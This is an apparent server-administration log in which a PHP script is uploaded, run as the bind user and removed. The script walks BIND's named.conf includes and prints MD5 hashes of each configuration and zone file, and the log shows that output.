MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.txt)= 7174b344b0ae3fb0d1e887f7b7a8cca1
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.conf)= 7a7a30e25dd61c59d71673818fb4b731
MD5(/var/cache/bind/9ab47e96627d9522a0b8df2ee4322802.txt)= 4ef4e881b38eacff7ef2cb121ee2a31d
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.conf)= 4475af152483db05440ac1bdb9e91ed8
MD5(/var/cache/bind/a1c902386bae85264c8bcd7d46d289a9.txt)= d8822ffb89db1df7c92e5994559a29f1
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.conf)= 5f673bc37590247b80c11d0349e7039b
MD5(/var/cache/bind/1f055662da24bcf52398528dbf5a1c4f.txt)= f74085c0552a3fba6622491abdbfce06
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.conf)= ece349c6e4fb427405bbce5b5501fec7
MD5(/var/cache/bind/b77f3ffec345cac4b4296eed63420be1.txt)= 66b17acb39553d9ae5c46141fa7072cc
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.conf)= 34f0d361e4a9e09f563e1b9ebb2d21db
MD5(/var/cache/bind/7312c9cb95b4bacf912d8bac1ea438cc.txt)= 2a324e4d3ddfd35539af500663112679
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.conf)= 9896db403abe67fa779eafab3fb9c466
MD5(/var/cache/bind/6e7fd231117136482801b6740f7def61.txt)= 90d11419a458de092b42a669de715701
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.conf)= 5160486015bcb3611cd44fe96a0507f2
MD5(/var/cache/bind/ee1ed0202e3c22ccb5dc6bbfc4c176ac.txt)= 5aef34597b77b644cec7fbe4d804cae9
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.conf)= fd0457a783720d5adbc63330db4ba29c
MD5(/var/cache/bind/82e710fb4c28419815112803356c4f79.txt)= 876777712e30357d4624f45b89f90d25
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.conf)= d22edaa21f398273183ddd5015d8a697
MD5(/var/cache/bind/d365b77ad7e9376e619973b277c11515.txt)= af7980c0c505a2cb9c80a6dcd33fb37d
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.conf)= 0bb3baf9e79ad18c078b64857c5c4fef
MD5(/var/cache/bind/b579aafafbcd32ebd30996c14e2929d0.txt)= 4f2a6ba7f3a1f349813677dc835b72e3
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.conf)= 66ef6c188fde86c68238df5f0f8b1c63
MD5(/var/cache/bind/e0dc27e9ac6120dd4b9b149abf3e317e.txt)= 78845a52d60704d9f479a146f3151909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.conf)= f58481f984dabea5d5aecf889dafd909
MD5(/var/cache/bind/210d2f210e4452e9446e4b9a5969250a.txt)= 21e91dfd8a70957d62dfd3f65c252eaf
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.conf)= 41de67f9c6ff20a481de2604a5cc468c
MD5(/var/cache/bind/f9446b138d2c5ba2c536837db166189d.txt)= 3de8aa47e4be97fb0088cbc5bd4e5d00
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.conf)= be458f7ab43d9f713dcd9551784820da
MD5(/var/cache/bind/39a853d14cf222b11389743f34305dc2.txt)= fd0a8c652b27589f5908fcf7f1e9f6e0
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.conf)= 9809fac7437d3482422b2fcdb2aae89f
MD5(/var/cache/bind/28a5e75a7da01b086708dce3eb004d3c.txt)= eaf427f91784f271895869ca9c1c31ab
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.conf)= 97e7b02dd275ffcd326cf55868836a13
MD5(/var/cache/bind/73c7599fdd5ae53f1a22acdec3f96f94.txt)= f90b48a7c1061822ec2b4beef20285a3
MD5(/etc/bind/named.conf.default-zones)= 9fbdc4657090b3b2a45f7e7b8468cf96
MD5(/usr/share/dns/root.hints)= 256a3e44f5821c498cf777dd118944a6
MD5(/etc/bind/db.local)= e5d27ead2d238928a08d33c7a7333477
MD5(/etc/bind/db.127)= 64f5cf50e8d8192109dad43b779e5e36
MD5(/etc/bind/db.0)= 8aba258068c8c60a7ade3952a285f57d
MD5(/etc/bind/db.255)= 8aba258068c8c60a7ade3952a285f57d
2025-08-29 23:24:32: Establishing a connection
2025-08-29 23:24:32:
PUT: /tmp/pkp841928
#!/usr/bin/php
<?php
// What files are being used by Bind, and what are their contents?
// php's token_get_all() makes this fairly quick
$directory = '/etc/bind';
ob_start('ob_gzhandler');
parseFile('named.conf');
ob_end_flush();
function parseFile($filename, $parse = TRUE) {
global $directory;
if ($filename[0] != '/') $filename = realpath($directory . '/./' . $filename);
$hash = md5_file($filename);
echo "MD5({$filename})= {$hash}\n";
if ($parse) {
$content = "<?php\n" . file_get_contents($filename);
$tokens = token_get_all($content);
$i = 0;
parseGroup($tokens, $i);
}
}
function unQuote($value) {
$ch = $value[0];
if ($ch == '"' || $ch == "'") {
if (substr($value, -1) == $ch) {
$value = substr($value, 1, -1);
}
}
return $value;
}
function addEntry(&$current) {
global $directory;
if (count($current)) {
switch($current[0]) {
case 'include':
$filename = unQuote($current[1]);
parseFile($filename);
break;
case 'directory':
$directory = unQuote($current[1]);
break;
case 'file':
$filename = unQuote($current[1]);
parseFile($filename, FALSE); // Resource File - do not parse
break;
}
}
$current = [];
}
function ParseGroup($tokens, &$i) {
$current = [];
$c = count($tokens);
while ($i < $c) {
$token = $tokens[$i];
if (is_array($token)) {
$token_name = $token[0];
$token_data = $token[1]; // [2] = line number
} else {
$token_name = -1;
$token_data = $token;
}
switch ($token_name) {
case -1:
if ($token_data == ';') { // end of statement
$i++;
addEntry($current);
} elseif ($token_data == '{') { // group
$i++;
ParseGroup($tokens, $i);
} elseif ($token_data == '}') { // end of group
addEntry($current);
return;
}
case T_OPEN_TAG:
case T_WHITESPACE:
case T_COMMENT:
break;
case T_DNUMBER: // 127.0 / .0 / .1
case T_LNUMBER:
case T_CONSTANT_ENCAPSED_STRING:
case T_STRING:
case T_INCLUDE:
$current[] = $token_data;
break;
}
$i++;
}
addEntry($current);
}
2025-08-29 23:24:32:
runuser -l bind -s /bin/bash -c '/tmp/pkp841928; rm /tmp/pkp841928'
2025-08-29 23:24:32:
MD5(/etc/bind/named.conf)= 6df494defbd381f8bc9d76ff6611ba09
MD5(/etc/bind/named.conf.options)= 35371f62b8a2d54eb399121839293544
MD5(/etc/bind/named.conf.local)= 3c9f578a7815e351234f218aeab7cca5
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.conf)= 0fd08353130bb23e9ce3de6623e547cd
MD5(/var/cache/bind/0299c0c61c7ba070834ba2dd758c9c51.txt)= 03d4462705df3e3b3447b5e03d69e033
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.conf)= f3bc075b289ef11a7e7fb9730ce45981
MD5(/var/cache/bind/25162dac9ffbcb0be59287b7a9bde7f4.txt)= db46afa1eaf0998e2096010ff5922625
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.conf)= e18fb42db1994e58907bc0f5f1bbb842
MD5(/var/cache/bind/b74ce055b83f6cfebe00ab1c0c5d2af2.txt)= 52e1ab6ca1b295d6e228011efc7c3e36
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.conf)= 229439ac891c563fbf452cfb5b8d8082
MD5(/var/cache/bind/54524ffc708f1919654eee3e8e8e8adb.txt)= 46011b4de1a60b584e110c9275cf58d9
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.conf)= c7d0f7caaf6c7c9b22c53150d660da6d
MD5(/var/cache/bind/265e805c99c946847c9512ae0a2f1979.txt)= 05cb0d9a8acaeec415f02a2878e47e99
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.conf)= 92f5ac0b53170f78cd90b11433e00c90
MD5(/var/cache/bind/94cdb93348589672ae2f4f7d5cf38aba.txt)= b18383b98052efd1f1c0c13416f7da2a
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.conf)= cf96c96f1d1461ee0e72fa2288f69183
MD5(/var/cache/bind/695c92f1e52b32224b4afd59cf37d6f1.txt)= 41be792e22df23608316bdc6d5c02ebb
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.conf)= e25d9cd35ad127e670a08c38380f80dd
MD5(/var/cache/bind/a9ce89f9cbbf500822cbde90492a4b59.txt)= 8978877eb7bb428bb9b1624fd66866df
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.conf)= 78daa950362f6df7200d4f288d8fcc24
MD5(/var/cache/bind/1a70a64890644d614d006709f4d07011.txt)= 2beac4b9c680af375d0427d0ec122336
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.conf)= c08670467eff145eb677c7be4fedd002
MD5(/var/cache/bind/76868f6e068adf5f82f053b795932883.txt)= 292b467eca3f6f3e89b5906332d932ee
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.conf)= 4fc4049398e3e9ef0d00161bec61b8a9
MD5(/var/cache/bind/b64ede8e027cbe0b900c74b7dad61fc6.txt)= e373146ad3409ae00911c19a196aba0c
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.conf)= 5738a9fc0adb6f630b2fd1631f76ebc3
MD5(/var/cache/bind/a6604325e1e95bb658a4876ded716488.txt)= b7fd8090ad0c758abe1b81ce7342fe27
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.conf)= a7b88255b74138f72d534f4bd4a55f78
MD5(/var/cache/bind/c23c0a067c65fe695faa3f188e27944c.txt)= 4c65be2cf42d7b01dff25648a30e0d60
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.conf)= 6ee0aac8bac1e71e0fc3ba188fbd759d
MD5(/var/cache/bind/0a6ad15e551aafb493c6806effeddcf2.txt)= 55b92b69ce255778373fb680dec3d692
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.conf)= d22959f1a2d9d7cb2536df3503919289
MD5(/var/cache/bind/7695e2001b9158b46e53b17c49af86b5.txt)= c85eeca80d19efbde6476aaa5e378f89
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.conf)= 92a9f7b58f0a8f65037161a776a507b8
MD5(/var/cache/bind/063b25bf16976ce1a2c836785c63433d.txt)= 3350c32974ffbafe079a7b2e988461c6
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.conf)= a96b4420934b504593fd2f5230424614
MD5(/var/cache/bind/e3a645e9cd9a48a14dd8493b70d9eeb7.txt)= d2257a98a9302b66c20561308c19fdcf
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.conf)= 6eb5284adbf5d232feb60f6e1ab6df01
MD5(/var/cache/bind/62fb2e372bc0a32115fbc83c762f20b5.txt)= c6b705f7647f89b3a921503db37fea1e
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.conf)= b0e44b79d08ff8aa48029941ec628f8a
MD5(/var/cache/bind/9b1deba5ba095e87244f37a8e3f127c3.txt)= a264743f8f159ddddb0eaa504acd179f
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.conf)= 6c13dfa5be1a030d5ad674727b3a6ca7
MD5(/var/cache/bind/32d4fd93b17a2291b23647ec24f8da21.txt)= 8c06d62e3637a8428b0366618cf3abd7
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.conf)= 69ba71a6df7b67c48ee48d439825b9b8
MD5(/var/cache/bind/de5342f930e16cce802d35118a2fa8d3.txt)= 87d8872c527a1698c0cbfdfec95dfb04
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.conf)= 015688087db895d82fc3eb3b9e11c692
MD5(/var/cache/bind/6f67b388e6765da580018fda67333d25.txt)= d1e1050a45218d8a317ce20cd873bddd
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.conf)= befba77b0345213ef42b7d5fff304d70
MD5(/var/cache/bind/9c176806fc238e21c915b63d0649fc22.txt)= 64a0bc30bde19c19f61dce2d34ba9f4d
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.conf)= 57e8151924225ca0e8e775f7c467fc0e
MD5(/var/cache/bind/1e54f6c33ee3ca2eea403fca319b0ee4.txt)= 25d0956113a097d2916fee42bd2d5ce8
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.conf)= 4a0086432eb4e2adea559c1ce5927665
MD5(/var/cache/bind/2debffd89b49e0229c33680cd8802ecb.txt)= 5750103aa360655e27676ee5092b77ef
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.conf)= 1f311b8a6182eeca1501eba415974cdc
MD5(/var/cache/bind/7be199ed365109a6d40950ee59d1f556.txt)= c53c26bd24bdda2d1ee3d779b0ccd0a8
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.conf)= 603b053e96cc535f2b53b4f94c071b02
MD5(/var/cache/bind/eebb27648fd2a6fb3ddcc9ab90e7112b.txt)= ee53ca31f66425c94bab4f49e8a21876
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.conf)= 97c8d1c1c45d4c3d55a30acba462715e
MD5(/var/cache/bind/1f505a75628761de494a35ab69db20dd.txt)= 6e0a1be9573427f3aecbcd2f457e6ca9
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.conf)= a5c1273a2ca448bbb92c7203a6f0c24e
MD5(/var/cache/bind/88c5638dfb94d699fd48b1feb9d60cff.txt)= 2657621e2763f175c78568a13a3b4254
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.conf)= f8bf0700dac5c8c4919aecf3da123f92
MD5(/var/cache/bind/a4eb3fca977ca6015dcdbcabf7d11d48.txt)= 2a8dec65e632ef023e1ae1037f9a8eb8
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.conf)= 549f08df0180e98c4a822c8ff0213408
MD5(/var/cache/bind/3c5ac3f042be6256f4781cbc416678be.txt)= 9cb7121349a3447b15a4f1444864be56
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.conf)= 83cee68b971fca76ad57abcf7ea79435
MD5(/var/cache/bind/c0f3c184d08b11c006e309fb0115bdd6.txt)= bfa28a357931b8963fc3db9342c27396
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.conf)= ddffa1884914311387168172feda086c
MD5(/var/cache/bind/5228c1dbadd38e40039230194a4f9e79.txt)= ffa7f2c861e2579237365beb35c65328
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.conf)= fc499b7bcc4f7bd1d4827357adb45e7d
MD5(/var/cache/bind/a991f2a33195300884cfb80603e68095.txt)= cdfc7d29f0f9da0d7cb4cc1c627d340e
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.conf)= 6282a18418d86f206e2410aae573926a
MD5(/var/cache/bind/3c4b5f94d47374f5ce45f7155d4ae5a8.txt)= da8d99880c0b4f5d1158902abf4cf39a
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.conf)= f8bc6a67efbdb504a5f85f3787175120
MD5(/var/cache/bind/35d18abc44b089ffa23e3e2f0807ece6.txt)= ce97f4641bfe8d4826b6d44097672165
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.conf)= 9c469d124b973a0c48a7084a48df07ed
MD5(/var/cache/bind/40b78c826a55a9eeca31786e0586fee9.txt)= ebf08621122375f56f22c7d207713b37
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.conf)= f89894bce93149ef3a0ee72cf3b46a92
MD5(/var/cache/bind/93997bd832de09ba4e56713eaa81d340.txt)= a7ff8245b49d737356e14402ef69e0b4
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.conf)= fff6889b13905b5a22a0a280541beb17
MD5(/var/cache/bind/320b669d287ba63741ff57cf3e690770.txt)= 2557fbb1b0ce22dfcad39f117fb5d836
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.conf)= 6e60a6f4a772f19624e54937eadf00e0
MD5(/var/cache/bind/11674aee41a9cabe2304d659e10b5dd0.txt)= 12ec6f783d6ac3bdd3f9d6921b1ba27a
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.conf)= 4aa3a1169a84c53167ee8dcce6128883
MD5(/var/cache/bind/0766fc100eec8a6853d7ddbdaedbb9bf.txt)= ff229c913624671483309b6b5a233790
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.conf)= b35e87166fa75b0eecbabb2958595374
MD5(/var/cache/bind/05b92d9466be1ff60f99171b12b904c0.txt)= 9dbcf27730c478ead28397cbef193659
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.conf)= 370ad953107dab595a234500850414cb
MD5(/var/cache/bind/d15154fdc73f852a93983b8efa978ccd.txt)= 1f5511319facf6dd7179e0ee9cac0c65
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.conf)= 41dfde821e6536d01c57049ace3f0fa8
MD5(/var/cache/bind/ffb28d26a57997ceef6aa88af3ca2eb1.txt)= 3b9749b3aa1d39b252fd354cb1d30abc
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.conf)= aa0c41a8f288d69eeb16567b5e0aec56
MD5(/var/cache/bind/c92f7952a5e58a40373c6ea0395bbe60.txt)= 0cc05ded4f42eaa5e3a66f7466b55045
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.conf)= 0c12e9548e598ad77eff62d2c68142b2
MD5(/var/cache/bind/69d0916aecf832c706b4d0e9097de457.txt)= 215db2579062c3dd4bf7e5ed22982e75
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.conf)= 9c40952b0c50507ea64d4480409cb2e8
MD5(/var/cache/bind/9102cebf40552256181ade1b5794bce9.txt)= da429f1b684d9c3bb05c418a195ceb7e
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.conf)= 51e286d25a9fbd96f007a7084de18dd9
MD5(/var/cache/bind/916eb0791d6219f551785c0d0cdb6551.txt)= 100f002295ca521d3ac0f418694f3c7d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.conf)= 622d9a736c9f30648387448aca7f497d
MD5(/var/cache/bind/3d2ec12df06edc90dfcd3e90b9defc61.txt)= 76a58050470ad602876bce6b4a5fdb65
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.conf)= 980c7a4583fe35da8df0033a57098def
MD5(/var/cache/bind/4e946d31d5dbbaea14c1f8a8cc65c592.txt)= 898dd73f80b3ba91e6ebefdd0f36a0d5
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.conf)= 7a6022b5c53bafd967d3c9873a04bf86
MD5(/var/cache/bind/f526c54ffce876cc4878737cf365bd79.txt)= 0657908fdb73b80608db9fcde03ef46f
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.conf)= 85a2b7310c5460015abddb6ef0af3a56
MD5(/var/cache/bind/03d5b5f89be357e1588146db824a75a9.txt)= 558dea320db1d773932c92910d1dbdd0
MD5(/var/cache/bind/97b02af5a57f21e16869add9e7536c63.conf)= 81f4dbaa2ef4e9abd0e967b4ad2586b2
